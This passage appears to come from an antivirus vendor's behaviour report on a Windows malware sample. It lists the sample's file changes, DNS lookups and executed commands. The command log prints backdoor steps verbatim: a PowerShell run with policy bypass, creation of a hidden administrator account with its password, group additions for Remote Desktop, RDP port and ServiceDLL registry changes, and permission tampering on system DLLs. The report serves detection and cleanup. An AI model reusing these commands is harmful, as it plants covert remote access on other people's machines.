C:\users\wgautilacc\appdata\local\microsoft\windows mail\backup\temp\windowsmail.msmessagestore
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\to_do_list.emf
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\tanspecks.jpg
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\stucco.gif
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\stars.jpg
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\stars.htm
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\softblue.jpg
<SYSTEM32>\spool\drivers\x64\{7396287d-9540-4f1e-83d8-921641669558}\set9d7c.tmp
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\soft blue.htm
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\small_news.jpg
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\shadesofblue.jpg
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\shades of blue.htm
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\seyes.emf
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\sand_paper.jpg
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\roses.jpg
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\tiki.gif
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\white_chocolate.jpg
C:\users\wgautilacc\appdata\local\microsoft\windows media\12.0\wmsdkns.dtd
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\psychedelic.jpg
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\wrinkled_paper.gif
C:\users\wgautilacc\appdata\local\microsoft\windows media\12.0\wmsdkns.xml
C:\users\wgautilacc\appdata\local\microsoft\media player\sync playlists\en-us\0013c1dc\12_all_video.wpl
C:\users\wgautilacc\appdata\local\microsoft\media player\sync playlists\en-us\0013c1dc\11_all_pictures.wpl
C:\users\wgautilacc\appdata\local\microsoft\media player\sync playlists\en-us\0013c1dc\10_all_music.wpl
C:\users\wgautilacc\appdata\local\microsoft\media player\sync playlists\en-us\0013c1dc\09_music_played_the_most.wpl
C:\users\wgautilacc\appdata\local\microsoft\media player\sync playlists\en-us\0013c1dc\08_video_rated_at_4_or_5_stars.wpl
C:\users\wgautilacc\appdata\local\microsoft\media player\sync playlists\en-us\0013c1dc\07_tv_recorded_in_the_last_week.wpl
C:\users\wgautilacc\appdata\local\microsoft\media player\sync playlists\en-us\0013c1dc\06_pictures_rated_4_or_5_stars.wpl
C:\users\wgautilacc\appdata\local\microsoft\media player\sync playlists\en-us\0013c1dc\05_pictures_taken_in_the_last_month.wpl
C:\users\wgautilacc\appdata\local\microsoft\media player\sync playlists\en-us\0013c1dc\04_music_played_in_the_last_month.wpl
C:\users\wgautilacc\appdata\local\microsoft\media player\sync playlists\en-us\0013c1dc\03_music_rated_at_4_or_5_stars.wpl
C:\users\wgautilacc\appdata\local\microsoft\media player\sync playlists\en-us\0013c1dc\02_music_added_in_the_last_month.wpl
C:\users\wgautilacc\appdata\local\microsoft\media player\sync playlists\en-us\0013c1dc\01_music_auto_rated_at_5_stars.wpl
C:\users\wgautilacc\appdata\local\temp\wmsetup.log
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\roses.htm
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\shorthand.emf
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\pretty_peacock.jpg
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\pine_lumber.jpg
C:\users\wgautilacc\appdata\roaming\microsoft\protect\s-1-5-21-1960123792-2022915161-3775307078-1006\b86faac7-c6f9-4d32-a60e-2596edc04850
C:\users\wgautilacc\appdata\local\microsoft\windows mail\oeold.xml
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\desktop.ini
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\connectivity.gif
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\cave_drawings.gif
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\blue_gradient.jpg
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\bears.jpg
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\bears.htm
C:\users\wgautilacc\appdata\local\microsoft\windows mail\account{a8c5c95f-02ed-4dc0-92fd-74d49a87b578}.oeaccount
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\garden.htm
C:\users\wgautilacc\appdata\local\microsoft\windows mail\account{37678a4e-453b-43d7-a6d8-1b24b8204aff}.oeaccount
C:\users\wgautilacc\appdata\local\microsoft\windows mail\account{964a8b84-eae1-4219-9ffa-d388c661bfb7}.oeaccount
C:\users\wgautilacc\appdata\local\microsoft\windows mail\backup\temp\windowsmail.pat
C:\users\wgautilacc\appdata\local\microsoft\windows mail\backup\temp\edb00001.log
C:\users\wgautilacc\appdata\local\microsoft\windows mail\windowsmail.pat
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\garden.jpg
C:\users\wgautilacc\appdata\roaming\microsoft\protect\s-1-5-21-1960123792-2022915161-3775307078-1006\preferred
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\genko_2.emf
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\green bubbles.htm
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\peacock.jpg
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\dotted_lines.emf
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\peacock.htm
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\orangecircles.jpg
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\orange circles.htm
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\notebook.jpg
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\music.emf
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\month_calendar.emf
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\monet.jpg
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\memo.emf
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\handprints.jpg
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\hand prints.htm
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\grid_(inch).wmf
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\grid_(cm).wmf
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\greenbubbles.jpg
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\graph.emf
C:\users\wgautilacc\appdata\local\temp\~df976931018f782600.tmp

Sets the 'hidden' attribute to the following files

C:\users\wgautilacc\ntuser.dat
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\system tools\desktop.ini
C:\users\wgautilacc\favorites\links\desktop.ini
C:\users\wgautilacc\appdata\local\microsoft\windows\<INETFILES>\desktop.ini
C:\users\wgautilacc\appdata\local\microsoft\windows\<INETFILES>\content.ie5\desktop.ini
C:\users\wgautilacc\appdata\local\microsoft\windows\<INETFILES>\content.ie5\x2250578\desktop.ini
C:\users\wgautilacc\appdata\local\microsoft\windows\<INETFILES>\content.ie5\i6l2s4hj\desktop.ini
C:\users\wgautilacc\appdata\local\microsoft\windows\<INETFILES>\content.ie5\wqro9nho\desktop.ini
C:\users\wgautilacc\appdata\local\microsoft\windows\history\history.ie5\desktop.ini
C:\users\wgautilacc\appdata\local\microsoft\windows\burn\burn\desktop.ini
C:\users\wgautilacc\appdata\local\microsoft\feeds cache\desktop.ini
C:\users\wgautilacc\appdata\local\microsoft\feeds cache\gjaaiph7\desktop.ini
C:\users\wgautilacc\appdata\local\microsoft\feeds cache\jw3btm35\desktop.ini
C:\users\wgautilacc\appdata\local\microsoft\feeds cache\ryuqasbz\desktop.ini
C:\users\wgautilacc\appdata\local\microsoft\feeds cache\njvuh2kw\desktop.ini
C:\users\wgautilacc\appdata\local\microsoft\windows\history\desktop.ini
C:\users\wgautilacc\appdata\roaming\microsoft\internet explorer\quick launch\user pinned\taskbar\desktop.ini
C:\users\wgautilacc\saved games\desktop.ini
C:\users\wgautilacc\appdata\local\microsoft\windows\<INETFILES>\content.ie5\gkymw007\desktop.ini
C:\users\wgautilacc\links\desktop.ini
C:\users\wgautilacc\favorites\desktop.ini
C:\users\wgautilacc\appdata\local\microsoft\windows\usrclass.dat
C:\$recycle.bin\s-1-5-21-1960123792-2022915161-3775307078-1006\desktop.ini
D:\$recycle.bin\s-1-5-21-1960123792-2022915161-3775307078-1006\desktop.ini
C:\users\wgautilacc\contacts\desktop.ini
C:\users\wgautilacc\videos\desktop.ini
C:\users\wgautilacc\pictures\desktop.ini
C:\users\wgautilacc\desktop\desktop.ini
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\desktop.ini
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.ini
C:\users\wgautilacc\music\desktop.ini
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\desktop.ini
C:\users\wgautilacc\documents\desktop.ini
C:\users\wgautilacc\appdata\roaming\microsoft\windows\libraries\desktop.ini
C:\users\wgautilacc\appdata\roaming\microsoft\windows\recent\desktop.ini
C:\users\wgautilacc\searches\desktop.ini
C:\users\wgautilacc\downloads\desktop.ini
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\administrative tools\desktop.ini
C:\users\wgautilacc\favorites\links for united states\desktop.ini

Deletes the following files

%TEMP%\nsye1de.tmp\blowfish.dll
C:\users\wgautilacc\appdata\roaming\microsoft\windows\libraries\music.library-ms~rf13c9fa.tmp
C:\users\wgautilacc\appdata\local\temp\wwwd5e1.tmp
C:\users\wgautilacc\appdata\local\temp\wwwd5f2.tmp
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\internet explorer.lnk
C:\users\wgautilacc\appdata\local\temp\rgid814.tmp
C:\users\wgautilacc\appdata\local\temp\rgid843.tmp
C:\users\wgautilacc\appdata\local\temp\rgid894.tmp
C:\users\wgautilacc\appdata\local\temp\wwwf1a6.tmp
C:\users\wgautilacc\appdata\local\temp\rgid8f2.tmp
C:\users\wgautilacc\appdata\local\microsoft\media player\localmls_3.wmdb
C:\users\wgautilacc\appdata\roaming\microsoft\windows\libraries\music.library-ms~rf13ea44.tmp
C:\users\wgautilacc\appdata\roaming\microsoft\windows\libraries\videos.library-ms~rf13ea53.tmp
C:\users\wgautilacc\appdata\roaming\microsoft\windows\libraries\documents.library-ms~rf13ea63.tmp
C:\users\wgautilacc\appdata\roaming\microsoft\windows\libraries\pictures.library-ms~rf13ea73.tmp
C:\users\wgautilacc\appdata\roaming\microsoft\windows\libraries\videos.library-ms~rf13c9db.tmp
C:\users\wgautilacc\appdata\local\temp\rgid864.tmp
C:\users\wgautilacc\appdata\roaming\microsoft\windows\libraries\pictures.library-ms~rf13c9ac.tmp
C:\users\wgautilacc\appdata\local\temp\rgi8fe3.tmp
%TEMP%\nsye1de.tmp\system.dll
%TEMP%\chadshfsd323.txt
C:\users\wgautilacc\appdata\local\temp\rgi8ec6.tmp
C:\users\wgautilacc\appdata\local\temp\rgi8ef6.tmp
C:\users\wgautilacc\appdata\local\temp\rgi8f45.tmp
C:\users\wgautilacc\appdata\local\temp\rgi8fb3.tmp
C:\users\wgautilacc\appdata\local\temp\rgi9061.tmp
C:\users\wgautilacc\appdata\local\microsoft\windows media\12.0\wmsdknsd.xml
<SYSTEM32>\spool\drivers\x64\{7396287d-9540-4f1e-83d8-921641669558}\mxdwdrv.dll
<SYSTEM32>\spool\drivers\x64\{7396287d-9540-4f1e-83d8-921641669558}\tsprint-datafile.dat
<SYSTEM32>\spool\drivers\x64\{7396287d-9540-4f1e-83d8-921641669558}\tsprint-pipelineconfig.xml
<SYSTEM32>\spool\drivers\x64\{7396287d-9540-4f1e-83d8-921641669558}\tsprint.dll
<SYSTEM32>\spool\drivers\x64\{7396287d-9540-4f1e-83d8-921641669558}\xpssvcs.dll
C:\users\wgautilacc\appdata\local\microsoft\windows media\12.0\wmsdkns.xml.bak
C:\users\wgautilacc\appdata\roaming\microsoft\windows\libraries\documents.library-ms~rf13c8e1.tmp
C:\users\wgautilacc\appdata\local\temp\wwwf1b7.tmp

Moves the following files

from <SYSTEM32>\spool\drivers\x64\{7396287d-9540-4f1e-83d8-921641669558}\set9d7c.tmp to <SYSTEM32>\spool\drivers\x64\{7396287d-9540-4f1e-83d8-921641669558}\tsprint.dll
from C:\users\wgautilacc\appdata\roaming\microsoft\windows\recent\customdestinations\pm90iq64ok6ddwx60seu.temp to C:\users\wgautilacc\appdata\roaming\microsoft\windows\recent\customdestinations\5afe4de1b92fc382.customdestinations-ms
from C:\users\wgautilacc\appdata\roaming\microsoft\windows\libraries\pictures.library-ms to C:\users\wgautilacc\appdata\roaming\microsoft\windows\libraries\pictures.library-ms~rf13ea73.tmp
from C:\users\wgautilacc\appdata\roaming\microsoft\windows\libraries\documents.library-ms to C:\users\wgautilacc\appdata\roaming\microsoft\windows\libraries\documents.library-ms~rf13ea63.tmp
from C:\users\wgautilacc\appdata\roaming\microsoft\windows\libraries\videos.library-ms to C:\users\wgautilacc\appdata\roaming\microsoft\windows\libraries\videos.library-ms~rf13ea53.tmp
from C:\users\wgautilacc\appdata\roaming\microsoft\windows\libraries\music.library-ms to C:\users\wgautilacc\appdata\roaming\microsoft\windows\libraries\music.library-ms~rf13ea44.tmp
from C:\users\wgautilacc\appdata\roaming\microsoft\windows\libraries\music.library-ms to C:\users\wgautilacc\appdata\roaming\microsoft\windows\libraries\music.library-ms~rf13c9fa.tmp
from C:\users\wgautilacc\appdata\roaming\microsoft\windows\libraries\videos.library-ms to C:\users\wgautilacc\appdata\roaming\microsoft\windows\libraries\videos.library-ms~rf13c9db.tmp
from C:\users\wgautilacc\appdata\roaming\microsoft\windows\libraries\pictures.library-ms to C:\users\wgautilacc\appdata\roaming\microsoft\windows\libraries\pictures.library-ms~rf13c9ac.tmp
from C:\users\wgautilacc\appdata\roaming\microsoft\windows\recent\customdestinations\ydib1k0p0gyvshn2ngmf.temp to C:\users\wgautilacc\appdata\roaming\microsoft\windows\recent\customdestinations\1b4dd67f29cb1962.customdestinations-ms
from C:\users\wgautilacc\appdata\roaming\microsoft\windows\libraries\documents.library-ms to C:\users\wgautilacc\appdata\roaming\microsoft\windows\libraries\documents.library-ms~rf13c8e1.tmp
from C:\users\wgautilacc\appdata\local\microsoft\windows mail\edbtmp.log to C:\users\wgautilacc\appdata\local\microsoft\windows mail\edb.log
from <SYSTEM32>\spool\drivers\x64\3\new\tsprint-pipelineconfig.xml to <SYSTEM32>\spool\drivers\x64\3\tsprint-pipelineconfig.xml
from <SYSTEM32>\spool\drivers\x64\3\new\tsprint-datafile.dat to <SYSTEM32>\spool\drivers\x64\3\tsprint-datafile.dat
from <SYSTEM32>\spool\drivers\x64\3\new\tsprint.dll to <SYSTEM32>\spool\drivers\x64\3\tsprint.dll
from <SYSTEM32>\spool\drivers\x64\{7396287d-9540-4f1e-83d8-921641669558}\set9dce.tmp to <SYSTEM32>\spool\drivers\x64\{7396287d-9540-4f1e-83d8-921641669558}\xpssvcs.dll
from <SYSTEM32>\spool\drivers\x64\{7396287d-9540-4f1e-83d8-921641669558}\set9dad.tmp to <SYSTEM32>\spool\drivers\x64\{7396287d-9540-4f1e-83d8-921641669558}\mxdwdrv.dll
from <SYSTEM32>\spool\drivers\x64\{7396287d-9540-4f1e-83d8-921641669558}\set9d9d.tmp to <SYSTEM32>\spool\drivers\x64\{7396287d-9540-4f1e-83d8-921641669558}\tsprint-datafile.dat
from <SYSTEM32>\spool\drivers\x64\{7396287d-9540-4f1e-83d8-921641669558}\set9d8c.tmp to <SYSTEM32>\spool\drivers\x64\{7396287d-9540-4f1e-83d8-921641669558}\tsprint-pipelineconfig.xml
from C:\users\wgautilacc\appdata\local\microsoft\windows mail\edb.log to C:\users\wgautilacc\appdata\local\microsoft\windows mail\edb00001.log
from C:\users\wgautilacc\appdata\roaming\microsoft\windows\recent\customdestinations\shzep9w0powf38fc1ybb.temp to C:\users\wgautilacc\appdata\roaming\microsoft\windows\recent\customdestinations\7e4dca80246863e3.customdestinations-ms

Substitutes the following files

C:\users\wgautilacc\appdata\local\microsoft\windows mail\edbtmp.log
C:\users\wgautilacc\appdata\local\microsoft\windows mail\edb.log
C:\users\wgautilacc\appdata\local\microsoft\windows media\12.0\wmsdkns.xml.bak
C:\users\wgautilacc\appdata\roaming\microsoft\windows\libraries\documents.library-ms
C:\users\wgautilacc\appdata\roaming\microsoft\windows\libraries\pictures.library-ms
C:\users\wgautilacc\appdata\roaming\microsoft\windows\libraries\videos.library-ms
C:\users\wgautilacc\appdata\roaming\microsoft\windows\libraries\music.library-ms
C:\users\wgautilacc\appdata\local\microsoft\media player\localmls_3.wmdb
C:\users\wgautilacc\appdata\roaming\microsoft\windows\libraries\~usic.tmp
C:\users\wgautilacc\appdata\roaming\microsoft\windows\libraries\~ideos.tmp
C:\users\wgautilacc\appdata\roaming\microsoft\windows\libraries\~ocuments.tmp
C:\users\wgautilacc\appdata\roaming\microsoft\windows\libraries\~ictures.tmp
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\internet explorer.lnk

Deletes itself.

Network activity

TCP

'localhost':49174

UDP

DNS ASK ki####dzhara.xyz
DNS ASK ga###dina.xyz

Miscellaneous

Searches for the following windows

ClassName: 'CicLoaderWndClass' WindowName: ''
ClassName: 'Progman' WindowName: ''
ClassName: 'Proxy Desktop' WindowName: ''
ClassName: 'PersonalizationThemeChangeListener' WindowName: ''
ClassName: 'SystemTray_Main' WindowName: ''
ClassName: 'OutlookExpressHiddenWindow' WindowName: ''
ClassName: 'Media Center Tray Applet' WindowName: ''
ClassName: '' WindowName: 'View Available Networks'
ClassName: 'BluetoothNotificationAreaIconWindowClass' WindowName: 'BluetoothNotificationAreaIconWindowClass'
ClassName: 'BluetoothNotificationAreaIconWindowClass' WindowName: ''

Creates and executes the following

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ep bypass -f %TEMP%\premiumextraXEEOULZCJZ.ps1
'<SYSTEM32>\cmd.exe' /c powershell -ep bypass -f %TEMP%\premiumextraXEEOULZCJZ.ps1' (with hidden window)
'<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc Ghasar4f5 /del' (with hidden window)
'<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc KEzgDEx6 /add' (with hidden window)
'<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD' (with hidden window)
'<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" lfjbauun$ /ADD' (with hidden window)
'<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD' (with hidden window)
'<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc KEzgDEx6' (with hidden window)
'<SYSTEM32>\userinit.exe' ' (with hidden window)
'%WINDIR%\syswow64\rundll32.exe' advpack.dll,LaunchINFSectionEx <SYSTEM32>\ieuinit.inf,Install,,36' (with hidden window)
'<SYSTEM32>\rundll32.exe' advpack.dll,LaunchINFSectionEx <SYSTEM32>\ieuinit.inf,Install,,36' (with hidden window)

Executes the following

'<SYSTEM32>\cmd.exe' /c powershell -ep bypass -f %TEMP%\premiumextraXEEOULZCJZ.ps1
'<SYSTEM32>\rundll32.exe' uxtheme.dll,#64 %WINDIR%\resources\Themes\Aero\Aero.msstyles?NormalColor?NormalSize
'<SYSTEM32>\regsvr32.exe' /s /n /i:/UserInstall <SYSTEM32>\themeui.dll
'<SYSTEM32>\gpscript.exe' /RefreshSystemParam
'%WINDIR%\syswow64\rundll32.exe' advpack.dll,LaunchINFSectionEx <SYSTEM32>\ieuinit.inf,Install,,36
'%WINDIR%\syswow64\ie4uinit.exe' -BaseSettings
'%WINDIR%\explorer.exe'
'<SYSTEM32>\net.exe' LOCALGROUP "Administrators" WgaUtilAcc /ADD
'<SYSTEM32>\userinit.exe'
'<SYSTEM32>\winlogon.exe'
'<SYSTEM32>\csrss.exe' ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitializa...
'<SYSTEM32>\smss.exe' 00000000 0000003c
'<SYSTEM32>\net1.exe' user WgaUtilAcc KEzgDEx6
'<SYSTEM32>\net.exe' user WgaUtilAcc KEzgDEx6
'<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc KEzgDEx6
'<SYSTEM32>\rdpclip.exe'
'<SYSTEM32>\net1.exe' LOCALGROUP "Administrators" WgaUtilAcc /ADD
'%ProgramFiles(x86)%\windows mail\winmail.exe' OCInstallUserConfigOE
'<SYSTEM32>\ie4uinit.exe' -BaseSettings
'<SYSTEM32>\rundll32.exe' %ProgramFiles%\Windows Mail\default_list.xml, jgasuug
'<SYSTEM32>\cmd.exe' /c rundll32.exe %ProgramFiles%\Windows Mail\default_list.xml, jgasuug
'<SYSTEM32>\rundll32.exe' "<SYSTEM32>\iedkcs32.dll",BrandIEActiveSetup SIGNUP
'<SYSTEM32>\ie4uinit.exe' -ClearIconCache
'<SYSTEM32>\ie4uinit.exe' -UserIconConfig
'<SYSTEM32>\rundll32.exe' <SYSTEM32>\mscories.dll,Install
'<SYSTEM32>\unregmp2.exe' /FirstLogon /Shortcuts /RegBrowsers /ResetMUI
'%ProgramFiles%\windows mail\winmail.exe' OCInstallUserConfigOE
'%WINDIR%\syswow64\rundll32.exe' "%WINDIR%\SysWOW64\iedkcs32.dll",BrandIEActiveSetup SIGNUP
'%WINDIR%\syswow64\ie4uinit.exe' -ClearIconCache
'%WINDIR%\syswow64\ie4uinit.exe' -UserIconConfig
'%ProgramFiles(x86)%\google\chrome\application\42.0.2311.135\installer\chrmstp.exe' --configure-user-settings --verbose-logging --system-level --multi-install --chrome
'%WINDIR%\syswow64\rundll32.exe' %WINDIR%\SysWOW64\mscories.dll,Install
'<SYSTEM32>\regsvr32.exe' /s /n /i:U shell32.dll
'<SYSTEM32>\rundll32.exe' advpack.dll,LaunchINFSectionEx <SYSTEM32>\ieuinit.inf,Install,,36
'<SYSTEM32>\cmd.exe' /c del %temp%\*.txt /f
'<SYSTEM32>\cmd.exe' /c del %temp%\*.ps1 /f
'<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
'<SYSTEM32>\net1.exe' localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
'<SYSTEM32>\net.exe' localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
'<SYSTEM32>\reg.exe' add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d "%ProgramFiles%\windows mail\appcache.xml" /f
'<SYSTEM32>\reg.exe' ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
'<SYSTEM32>\cmd.exe' /c net start rdpdr
'<SYSTEM32>\icacls.exe' rfxvmt.dll /grant BUILTIN\Administrators:RX
'<SYSTEM32>\icacls.exe' rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
'<SYSTEM32>\icacls.exe' rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
'<SYSTEM32>\icacls.exe' rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
'<SYSTEM32>\icacls.exe' rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
'<SYSTEM32>\icacls.exe' rfxvmt.dll /inheritance:d
'<SYSTEM32>\takeown.exe' /A /F rfxvmt.dll
'<SYSTEM32>\icacls.exe' rfxvmt.dll /remove BUILTIN\Administrators
'<SYSTEM32>\net.exe' start rdpdr
'<SYSTEM32>\cmd.exe' /c cmd/c net start rdpdr
'<SYSTEM32>\net1.exe' start rdpdr
'<SYSTEM32>\net1.exe' LOCALGROUP "Remote Desktop Users" lfjbauun$ /ADD
'<SYSTEM32>\net.exe' user WgaUtilAcc KEzgDEx6 /add
'<SYSTEM32>\net.exe' LOCALGROUP "Remote Desktop Users" lfjbauun$ /ADD
'<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" lfjbauun$ /ADD
'<SYSTEM32>\net1.exe' LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
'<SYSTEM32>\net.exe' LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
'<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
'<SYSTEM32>\net1.exe' user WgaUtilAcc KEzgDEx6 /add
'<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc KEzgDEx6 /add
'<SYSTEM32>\cmd.exe' /c cmd/c net start TermService
'<SYSTEM32>\net1.exe' user WgaUtilAcc Ghasar4f5 /del
'<SYSTEM32>\net.exe' user WgaUtilAcc Ghasar4f5 /del
'<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc Ghasar4f5 /del
'<SYSTEM32>\net1.exe' start TermService
'<SYSTEM32>\net.exe' start TermService
'<SYSTEM32>\cmd.exe' /c net start TermService
'%ProgramFiles%\windows sidebar\sidebar.exe' /autoRun
'<SYSTEM32>\mctadmin.exe'

テクノロジー

用語

トレーニングコースおよび啓蒙プロジェクト

アンチウイルスに関する誤解と噂

Technical Information

Curing recommendations

Free trial